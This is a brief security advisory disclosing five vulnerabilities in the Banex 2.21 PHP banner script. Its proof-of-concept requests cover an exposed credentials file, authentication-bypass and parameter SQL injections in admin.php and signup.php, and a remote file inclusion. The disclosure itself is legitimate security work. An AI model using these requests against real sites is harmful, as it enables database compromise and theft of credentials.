banex.txt

`Discovered by Sirdarckcat from elhacker.net  
  
Banex 2.21  
http://sourceforge.net/projects/banex  
==============================================  
  
Banex is a simple script for sharing Banners  
through multiple webs.  
  
Anyway it has multiple vulnerabilities.  
  
==============================================  
1.- Sensitive Information Disclosure  
  
PoC:  
http://www.server.com/inc/lib.inc  
  
No protection, and contains the DB name password and user.  
  
==============================================  
  
2.- SQL injection  
  
  
PoC:  
  
GET /admin.php HTTP/1.1  
Host: www.server.com  
Authentication: Basic: YWRtaW4nIE9SIDE9MS8qOnA=  
  
==============================================  
  
3.- SQL injection  
  
PoC:  
http://www.server.com/signup.php?signup=1&user_pw=2&passwordconfirm=2&user_name=3&name=3&email=3&site_url=3&site_name='[SQL]/*  
  
==============================================  
  
4.- SQL injection **** AUN CON MAGIC ON ****  
  
PoC:  
GET /admin.php?activatebanner&id=-1%20[SQLi] HTTP/1.1  
Host: www.server.com  
Authentication: Basic: YWRtaW4nIE9SIDE9MS8qOnA=  
  
  
Same bug in context SELECT:  
/admin.php?activateuser&id='+[SQL]  
/admin.php?deleteunuser&id='+[SQL]  
/admin.php?deleteuserbanner&deleteuserbanner='+[SQL]  
/admin.php?deleteuserbanner&deleteuserbanner='+[SQL]  
/admin.php?viewmem&viewmem='+[SQL]  
/admin.php?viewmemunb&viewmemunb='+[SQL]  
/admin.php?viewunmem&viewunmem='+[SQL]  
  
Same bug, in context DELETE:  
/admin.php?deletebanner&id=-1+[SQL]  
/admin.php?activateuser&deleteuser='+[SQL]  
/admin.php?deleteuserbanner&deleteuserbanner='+[SQL]  
  
==============================================  
  
5.- Remote File Inclusion:  
  
PoC:  
http://www.server.com/members.php?cfg_root=http://www.google.com/?  
  
  
==============================================  
  
Att.  
Sirdarckcat  
elhacker.net`